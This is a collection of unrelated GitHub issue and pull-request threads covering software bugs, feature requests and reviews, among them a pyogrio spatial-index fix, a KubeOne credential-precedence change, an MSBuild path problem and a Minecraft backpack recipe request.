Do you think I can involve for this improvement? If so, do you have more inputs/thoughts since the beginning of May?

Hi @sixdouglas ,
Your involvement is welcomed. We didn't have a chance to finalized the approach we want to adopt since May due to limited bandwidth.
I believe the high level idea is allow extension plugin to update a setting to notify the JobScheduler to disable/re-enable its jobs. Then job scheduler can take care of the deschedule/schedule accordingly. However we are not sure whether is will be a cluster setting, or an index setting of extension plugins' job index, or some other type of setting.
Please let us know if you have any suggestions, and we would be happy to discuss any possibilities and move this forward.
Thanks

This repo is deprecated, closing in favor of https://github.com/opensearch-project/job-scheduler/issues/92


Chat - User is able to enter invalid link in "" formatted link by editing the URL

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: 1.4.52-0
Reproducible in staging?: Y
Reproducible in production?: Y
If this was caught during regression testing, add the test name, ID and link from TestRail: https://expensify.testrail.io/index.php?/tests/view/4423074
Email or phone of affected tester (no customers<EMAIL_ADDRESS>Issue reported by: Applause - Internal Team
Action Performed:
Pre-requisite: the user must be logged in

Go to any chat
Send the message "google.com"
Verify it is displayed as a formatted link
Send the message "test" and some random characters at the end
Verify it is not recognized as a valid link
Edit the first message you sent and add some random characters at the end of the URL
Verify it is still recognized as a valid link

Expected Result:
The new invalid link should not be recognized as valid after editing the valid URL
Actual Result:
The new invalid link is recognized as valid after editing the valid URL
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[ ] Android: Native
[ ] Android: mWeb Chrome
[ ] iOS: Native
[ ] iOS: mWeb Safari
[ ] MacOS: Chrome / Safari
[ ] MacOS: Desktop

Screenshots/Videos
Add any screenshot/video evidence

https://github.com/Expensify/App/assets/78819774/3e1f3556-19c0-4d86-9a3b-4abdadebd606
View all open jobs on GitHub

@sonialiap  FYI I haven't added the External label as I wasn't 100% sure about this issue. Please take a look and add the label if you agree it's a bug and can be handled by external contributors

We think that this bug might be related to #vip-vsp
CC @quinthar

As much as I'd like to write a proposal, this does not seem to be an issue.
OP states:

Edit the message1 you sent and add some random characters at the end of the URL (ex: [google.com](google.com) changed to [google.com](google.comqwer))

But in the attached video the actual change is from [google.com](https://google.com) to [google.com](https://google.comqwer), which is correctly matched by ExpensiMark with LOOSE_URL_REGEX.
And although it seems like a bad url, it is valid in a local network setting, which seems to be the original intent behind LOOSE_URL_REGEX (see: https://github.com/Expensify/expensify-common/commit/0e1ae5079e93925f984068fd17e3d5e6f732e93d).
In summary: works as intended IMO.

I see what you mean. This is correct from a technical perspective but unexpected from a UX perspective.
While it would be nice to make it work as a non-technical user might expect, I think this can be counted as an edge case. When a user clicks on the linked text with a misspelled URL then the web page shows an error saying to check the URL. I think users will be able to figure out their own way out of such a situation. Closing


[Enhancement] update faster rcnn c4 config file

Update faster_rcnn_r50_caffe_c4 model in configs/_base_/models
The core changes are as follows:

load pre-trained model in roi_head.share_head
train_cfg.rpn.allowed_border = 0 -> 1

TODO:

[ ] Release faster_rcnn_r50_caffe_c4_mstrain_18k_voc0712 configs and model
[ ] Release faster_rcnn_r50_caffe_c4_1x_coco model
[ ] Release faster_rcnn_r50_caffe_c4_mstrain_1x_coco config and model

Should update the model performance and prepare the model for release.

Should also update readme and prepare model for release


Seems like a really interesting project, Is it still working?

Hello, I'd like to get an update since last commit is from 2 years ago

Should still work, yeah. Might need a "pragma" statement added to the
contract to compile with current versions of the Solidity compiler, though.
On May 5, 2017 1:15 AM, "Eralp Bayraktar"<EMAIL_ADDRESS>wrote:

Hello, I'd like to get an update since last commit is from 2 years ago
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/ryepdx/coinlock/issues/1, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAqNjQb0PWu0UeC8tS9d0Y6wDQH9ZylXks5r2tqHgaJpZM4NRnWN
.

Make sure you test it with a small amount of ether first.
On May 5, 2017 8:40 AM, "Ryan C."<EMAIL_ADDRESS>wrote:

Should still work, yeah. Might need a "pragma" statement added to the
contract to compile with current versions of the Solidity compiler, though.
On May 5, 2017 1:15 AM, "Eralp Bayraktar"<EMAIL_ADDRESS>wrote:

Hello, I'd like to get an update since last commit is from 2 years ago
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/ryepdx/coinlock/issues/1, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAqNjQb0PWu0UeC8tS9d0Y6wDQH9ZylXks5r2tqHgaJpZM4NRnWN
.


BUG: No spatial index written to geopackage

When writing a geopackage file using pyogrio, an error message from sqlite is shown that rtree is not installed. The GPKG file is produced, but upon inspection no spatial index is present. The files can be read in pyogrio or QGIS. However, the lack of spatial index is problematic for us because reading parts of a geopackage file without spatial index is much slower. Below are the error I get, a benchmark showing difference in read speed, and some notes.
Error when writing geopackage
import geopandas as gpd
import pyogrio
from shapely import Point

gdf = gpd.GeoDataFrame(geometry=[Point(0, 0)], crs="EPSG:28992")
pyogrio.write_dataframe(gdf, "geometry_file.gpkg")

Error message:
ERROR 1: sqlite3_exec(CREATE VIRTUAL TABLE "rtree_geometry_file_geom" USING rtree(id, minx, maxx, miny, maxy)) failed: no such module: rtree

When inspecting the resulting geopackage, indeed all the tables named rtree_* are not present, indicating no spatial index was written.
Timing difference in read speed
The speed difference for the below example is a factor 4 when reading a selection of the geopackage.
Create a file with 1 million points in range (0-1, 0-1):
import geopandas as gpd
import pyogrio
import random
from shapely import Point

gdf = gpd.GeoDataFrame(geometry=[Point(random.random(), random.random()) for _ in range(1_000_000], crs="EPSG:28992")
pyogrio.write_dataframe(gdf, "geometry_file.gpkg")

Then convert the file to a new geopackage with ogr2ogr. This will automatically add a spatial index:
ogr2ogr geometry_file_with_rtree.gpkg  geometry_file.gpkg

Timing the read speed difference with fiona:
import timeit

time_with_spatial_index = (
    timeit.timeit(
        'gpd.read_file("geometry_file_with_rtree.gpkg", engine="fiona", bbox=(0, 0, 0.1, 0.1))',
        setup="import geopandas as gpd",
        number=10,
    )
    / 10
)
time_without_spatial_index = (
    timeit.timeit(
        'gpd.read_file("geometry_file.gpkg", engine="fiona", bbox=(0, 0, 0.1, 0.1))',
        setup="import geopandas as gpd",
        number=10,
    )
    / 10
)

print(f"Time for reading file without spatial index: {time_without_spatial_index}")
print(f"Time for reading file with spatial index: {time_with_spatial_index}")

Result:
Time for reading file without spatial index: 1.00816962569952
Time for reading file with spatial index: 0.2739204873993003

Notes

Installing the python module rtree does not change anything.
This is probably related to https://github.com/geopandas/pyogrio/issues/179

OS: Pop!_OS 22.04 LTS (Linux)
Python version: 3.10.8
pyogrio version: 0.4.2 (installed from PyPI)

@joostmeulenbeld thanks for the report!
So I suppose this is due to how we built the wheels, and that the sqlite included in the binary wheels is not built with rtree enabled. We built the dependencies using vcpkg, and checking there, it is indeed the case that until recently, the GDAL build recipe didn't mention sqlite3 + rtree as dependency, but just sqlite.
Now, with the latest wheels built for the development version, we are now using a more recent GDAL version, and the vcpkg recipe has been updated to include rtree (https://github.com/dg0yt/vcpkg/blob/4b689a3411328414ad216c4ee949a39dfa1b6dd7/ports/gdal/vcpkg.json#L172-L175).
So it might the case this is already solved (and we need to make a release to get the new wheels out).
Would you like to test this? You can install the latest wheel by going to https://github.com/geopandas/pyogrio/actions/runs/3793070654, and at the bottom of that page download the "artifact". Unpack this archive, and then pip install path/to/archive/pyogrio-0.4.2+12.g40e7659-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

@jorisvandenbossche Thanks for the very quick reaction in this festive period :fireworks:
I tested with the wheels, and indeed the problems I saw are no longer present!

The created geopackages have a spatial index
bbox-reading them with fiona engine is now fast as well
There are also no longer problems with reading geopackages with a spatial index in them using pyogrio, which I used to have issues with as well

and we need to make a release to get the new wheels out

Do you have any idea when we might expect a such a release?
Thanks a lot for all the effort, geopandas and pyogrio are amazing packages!

@joostmeulenbeld thanks for testing and verifying it now works!

Do you have any idea when we might expect a such a release?

I want to finalize the currently open PRs, and then planning to do a release, hopefully somewhere next week.

I opened https://github.com/geopandas/pyogrio/issues/192 to track the upcoming release.

I confirmed that this issue is now also fixed in the 0.5.0 version released on PyPI. Thanks!


Run time error with Cmake flag -DFORCE_LIBUVC=true

Required Info

Camera Model
D400

Firmware Version
unknow

Operating System & Version
Ubuntu 16

Kernel Version (Linux Only)
4.4.55

Platform
ARM borad

SDK Version
2.10.4

Hi. When I run capture with -DFORCE_LIBUVC=true Cmake flag, the image only can continued a few seconds and program show me  segment fault.

Hi @linzihao1999
Could you please provide more information about the crash and your system? Perhaps call-stack from gdb can be obtained?


Documentation is lacking

It could use some more documentation, mostly on cell subclassing and customization.
Also is the current documentation not up to date? The example application uses block named differently from what the docs selectors are called...

So is blocks the only way? the delegate methods from the Examples do not seem to work.


⚠ GitLab Server has degraded performance

In 5566aba, GitLab Server (https://gitlab01.its-telekom.eu) experienced degraded performance:

HTTP code: 200
Response time: 11532 ms

Resolved: GitLab Server performance has improved in 39fbdd3.


CONCERN: Health Authority UX concerns - DHM-S1-20

Several UX aspects that I found unintuitive [DHM-S1-20]
o   “Save” (floppy disk) icon used to add an entry.  This doesn’t match any UX mechanic that I am familiar with in mobile apps for adding entries to a list.
o   No clear separation of the part of screen used to select a Health Authority from the list of already configured Has above (both plain white background)
o   Health Authorities that I have already added continue to appear as options in the list.  But I can’t add them twice, so I’d expect them to disappear from the selection list once selected.
o   “Paste your URL here”.  I’d prefer “Type or Paste your URL here”
o   When I enter a 2nd URL, the previous URL I entered is offered as the default value.  I don’t consider this helpful: whatever URL I am trying to add, it is not the one I already added.

Note:

if you use * this is my bullet you will get proper bullet points here...

[ ] You can also use - [ ] checkbox for bullets with checkboxes.

@diarmidmackenzie I coded that screen just to get the functionality in, with the intention that the UI would be replaced along with everything else in the v2. Looks like that functionality's not yet represented in the v2 Figma design though - have pinged the design team

To pile on ... on iPhone the add authority by URL doesn't work because the keyboard covers up the string being entered.

A few of these have been resolved as the app has been improved. However, the following still exist:

“Save” (floppy disk) icon used to add a URL entry. This doesn’t match any UX mechanic that I am familiar with in mobile apps for adding entries to a list.
-o Health Authorities that I have already added continue to appear as options in the list.
(not as big of an issue, but it would be a nice improvement).
Issue #683 covers several of these as well, anybody working on this one should look at that one and visa-versa.

Closing this issue out as we have taken it into consideration and documented the feedback on this page in Jira.


Minify bundle.

I have a suggestion to minify bundle. At least strip comments, to make it smaller. What do you think regarding this?
In any case thank you for your work.

It's simple enough to do, but I would have expected whomever was using the library to minify the bundle as part of their build process at their end before deploying it?

In such case this library should be bundled with other code, I guess it is not always the case. It can be as external resource, as is. Even more - for some cases this library can be loaded without any build system.
I thought that it can be useful for someone else to get small size out of the box. In any case it is up to you. I'm closing this ticket as it is not related to any defects.


Loop the animations

Set up looping in the Animation section of the Inspector panel for the animated model files.


Create Rubocop Cop to detect LanguageServer constants

Motivation
#503 - Add custom cop to detect references to LanguageServer::Protocol constants and autocorrect to use its aliases.
Implementation
Custom Rubocop Cop.
Automated Tests
Added RSpec spec for the custom cop. RSpec is needed as Rubocop test uses matchers defined in rubocop/rspec/support.
Manual Tests

@vinistock I've fixed the loading issues. Could you review again please?

@vinistock I've fixed the loading issues. Could you review again please?

@vinistock I've updated the PR with the sorbet changes.


Tangential feedback on the Playground / on-boarding experience

Hi, not sure this belongs here - would just like to pass feedback that the Playground appears to be unusable if it doesn't support having more than one instance open at a time.
For someone learning the platform, the ability to open samples alongside my own app is essential.
All that said, thanks for the great product! I am not deterred by this UX hiccup, in fact it is a subtle way to get people using the big brother zed validate 🙃

The SpiceDB Playground is now open-source and can be ran locally for as many instances as you want. I believe this addresses this issue can we can close it.


Make credentials file take precedence over environment.

What this PR does / why we need it:
This PR aligns what docs says with the we already have: credentials file take precedence over environment. In addition it's also:

reduce newCredsFinder function
fix linter error

Supersedes #2881
Which issue(s) this PR fixes:
Fixes #2798
What type of PR is this?
/kind bug
Special notes for your reviewer:
Does this PR introduce a user-facing change? Then add your Release Note here:

Make credentials file take precedence over environment.

Documentation:

NONE

Marking this as none, because the docs ALREADY says it's like this.

/test pull-kubeone-e2e-aws-default-install-containerd-external-v1.28.3

/test pull-kubeone-e2e-aws-default-install-containerd-external-v1.28.3

I'd make the release note action required because this is a kind of breaking change. What do you think about something like this:
[ACTION REQUIRED] Credentials defined in the credentials file now have precedence over credentials defined via environment variables. This change is made to match the behavior that's already documented in the KubeOne docs. If you use both the credentials file and the environment variables, we recommend double-checking your credentials file to make sure the credentials are up to date, as those credentials will be applied on the next `kubeone apply` run

Otherwise, this change LGTM!

I'd make the release note action required because this is a kind of breaking change. What do you think about something like this:
[ACTION REQUIRED] Credentials defined in the credentials file now have precedence over credentials defined via environment variables. This change is made to match the behavior that's already documented in the KubeOne docs. If you use both the credentials file and the environment variables, we recommend double-checking your credentials file to make sure the credentials are up to date, as those credentials will be applied on the next `kubeone apply` run

Otherwise, this change LGTM!

Funny thing is our docs states that credentials file will prevail :D
https://docs.kubermatic.com/kubeone/v1.7/guides/credentials/#credentials-file

It has the priority over the environment variables, so you can use it if you want to use different credentials or if you don’t want to export credentials as environment variables.


Update docs of kwokctl support matrix

What type of PR is this?

/kind documentation
What this PR does / why we need it:
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?

NONE

Additional documentation e.g., KEPs (Kubernetes Enhancement Proposals), usage docs, etc.:

NONE

/lgtm
though 7 colors seems a little tricky.


How Do I get MSBuild to Honor Relative Paths

Steps to reproduce
Create Solution Y in Folder A with Project 1
Create Solution Z in Folder B with Project 2
Reference Project 1 in Project 2 By adding Project 1 to Solution Z.
Notice the .csproj file contains relative paths 3 .. up as so
.csproj
    <ProjectReference Include="..\..\..\FolderA\Project1\Project1.csproj">
      <Project>{xxxx}</Project>
      <Name>Project 1</Name>
    </ProjectReference>

This all works locally with latest Visual Studio Update of 2017. Everything Builds and runs happily.
Move to Build Server hosted on Azure DevOps using MSBuild version 16.0
This command is used.
"C:\sw\ADO_Agents\ADOagent3\_work\9\s\SolutionZ\SolutionZ.sln" /nologo /nr:false /dl:CentralLogger,"C:\sw\ADO_Agents\ADOagent3\_work\_tasks\MSBuild_c6c4c611-aa2e-4a33-b606-5eaba2196824\1.151.0\ps_modules\MSBuildHelpers\Microsoft.TeamFoundation.DistributedTask.MSBuild.Logger.dll";"RootDetailId=|SolutionDir=C:\sw\ADO_Agents\ADOagent3\_work\9\s\SolutionZ"*ForwardingLogger,"C:\sw\ADO_Agents\ADOagent3\_work\_tasks\MSBuild_c6c4c611-aa2e-4a33-b606-5eaba2196824\1.151.0\ps_modules\MSBuildHelpers\Microsoft.TeamFoundation.DistributedTask.MSBuild.Logger.dll"  /p:platform="Mixed Platforms" /p:configuration="Release" /p:_MSDeployUserAgent="VSTS_052eef5e-cfe4-4f59-b65c-b3911f1d5901_build_1381_0"

cry to yourself. (may not be needed).
Expected  behavior
Folder/File paths are maintained, whether relative or not.
Actual behavior
Building the projects in this solution one at a time. To enable parallel build, please add the "/m" switch.
Build started 6/3/2019 1:43:36 PM.
Project "C:\sw\ADO_Agents\ADOagent3\_work\9\s\SolutionZ\SolutionZ.sln" on node 1 (default targets).
ValidateSolutionConfiguration:
  Building solution configuration "Release|Mixed Platforms".
##[error]C:\sw\ADO_Agents\ADOagent3\_work\9\s\SolutionZ\SolutionZ.sln.metaproj(0,0): Error MSB3202: The project file "C:\sw\ADO_Agents\ADOagent3\_work\9\s\SolutionZ\..\..\FolderA\Project1\Project1.csproj" was not found.

Notice
Folder A and Folder B represent git repository folders.
Notice in the Actual behavior, that MSBuild was looking in SolutionZ for a Project in a folder in a separate repository, even though this works locally in Visual Studio.

Duplicate of #4348


alternate recipe

Thanks for making this mod!
Problem
Requiring a shulker box for the backpack is too harsh, you can only have a backpack after going to the end, if you have end remastered installed, it can easily take multiples days to get to that point.
Expected
Change the recipe, at least provide an alternate recipe which can be acquired much earlier, Beans Backpack only requires leather and strings, Traveler's Backpack requires wool, leather and glass

Hey! I came here and made an account just to leave the same exact kind of criticism, The recipe needing a shulker shell ruins any chance UMU Backpack has at being an addon to your inventory space for the early to mid game by locking it behind the End with other late game content like the Elytra or shulker boxes; Which make the backpack pointless to craft at that point since shulker boxes can carry so much more.
The solution I think could be done is replacing the shulker shell with a chest so that a backpack can actually be crafted much earlier through the progression of the game, Instead of so late that it's already obsolete.
But if just a regular chest seems too cheap then maybe a trapped chest just because.